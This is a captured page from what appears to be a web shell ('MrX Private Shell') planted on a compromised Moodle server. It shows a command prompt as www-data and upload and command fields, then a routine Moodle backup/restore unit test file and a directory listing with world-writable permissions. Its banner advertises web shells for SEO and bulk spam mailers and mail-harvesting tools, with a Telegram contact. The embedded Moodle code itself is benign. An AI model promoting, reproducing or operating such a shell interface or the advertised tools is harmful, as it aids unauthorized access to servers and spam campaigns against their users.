__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_backup;

use core_backup_backup_restore_base_testcase;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once('backup_restore_base_testcase.php');
require_once($CFG->dirroot . '/backup/util/includes/backup_includes.php');
require_once($CFG->dirroot . '/backup/util/includes/restore_includes.php');

/**
 * Backup restore permission tests.
 *
 * @package   core_backup
 * @author    Tomo Tsuyuki <tomotsuyuki@catalyst-au.net>
 * @copyright 2023 Catalyst IT Pty Ltd
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class backup_restore_group_test extends core_backup_backup_restore_base_testcase {

    /**
     * Test for backup/restore with customfields.
     * @covers \backup_groups_structure_step
     * @covers \restore_groups_structure_step
     */
    public function test_backup_restore_group_with_customfields(): void {

        $course1 = self::getDataGenerator()->create_course();
        $course2 = self::getDataGenerator()->create_course();

        $groupfieldcategory = self::getDataGenerator()->create_custom_field_category([
            'component' => 'core_group',
            'area' => 'group',
        ]);
        $groupcustomfield = self::getDataGenerator()->create_custom_field([
            'shortname' => 'testgroupcustomfield1',
            'type' => 'text',
            'categoryid' => $groupfieldcategory->get('id'),
        ]);
        $groupingfieldcategory = self::getDataGenerator()->create_custom_field_category([
            'component' => 'core_group',
            'area' => 'grouping',
        ]);
        $groupingcustomfield = self::getDataGenerator()->create_custom_field([
            'shortname' => 'testgroupingcustomfield1',
            'type' => 'text',
            'categoryid' => $groupingfieldcategory->get('id'),
        ]);

        $group1 = self::getDataGenerator()->create_group([
            'courseid' => $course1->id,
            'name' => 'Test group 1',
            'customfield_testgroupcustomfield1' => 'Custom input for group1',
        ]);
        $grouping1 = self::getDataGenerator()->create_grouping([
            'courseid' => $course1->id,
            'name' => 'Test grouping 1',
            'customfield_testgroupingcustomfield1' => 'Custom input for grouping1',
        ]);

        // Perform backup and restore.
        $backupid = $this->perform_backup($course1);
        $this->perform_restore($backupid, $course2);

        // Test group.
        $groups = groups_get_all_groups($course2->id);
        $this->assertCount(1, $groups);
        $group = reset($groups);

        // Confirm the group is not same group as original one.
        $this->assertNotEquals($group1->id, $group->id);
        $this->assertEquals($group1->name, $group->name);

        // Confirm custom field is restored in the new group.
        $grouphandler = \core_group\customfield\group_handler::create();
        $data = $grouphandler->export_instance_data_object($group->id);
        $this->assertSame('Custom input for group1', $data->testgroupcustomfield1);

        // Test grouping.
        $groupings = groups_get_all_groupings($course2->id);
        $this->assertCount(1, $groupings);
        $grouping = reset($groupings);

        // Confirm this is not same grouping as original one.
        $this->assertNotEquals($grouping1->id, $grouping->id);

        // Confirm custom field is restored in the new grouping.
        $groupinghandler = \core_group\customfield\grouping_handler::create();
        $data = $groupinghandler->export_instance_data_object($grouping->id);
        $this->assertSame('Custom input for grouping1', $data->testgroupingcustomfield1);
    }
}

Filemanager

Name Type Size Permission Actions
privacy Folder 0777
async_backup_test.php File 11.29 KB 0777
async_restore_test.php File 10.87 KB 0777
automated_backup_test.php File 14.7 KB 0777
backup_cleanup_task_test.php File 5.35 KB 0777
backup_restore_base_testcase.php File 4.02 KB 0777
backup_restore_group_test.php File 4.27 KB 0777
backup_restore_permission_test.php File 5.63 KB 0777
externallib_test.php File 6.92 KB 0777
quiz_restore_decode_links_test.php File 4.64 KB 0777
roles_backup_restore_test.php File 6.9 KB 0777
Filemanager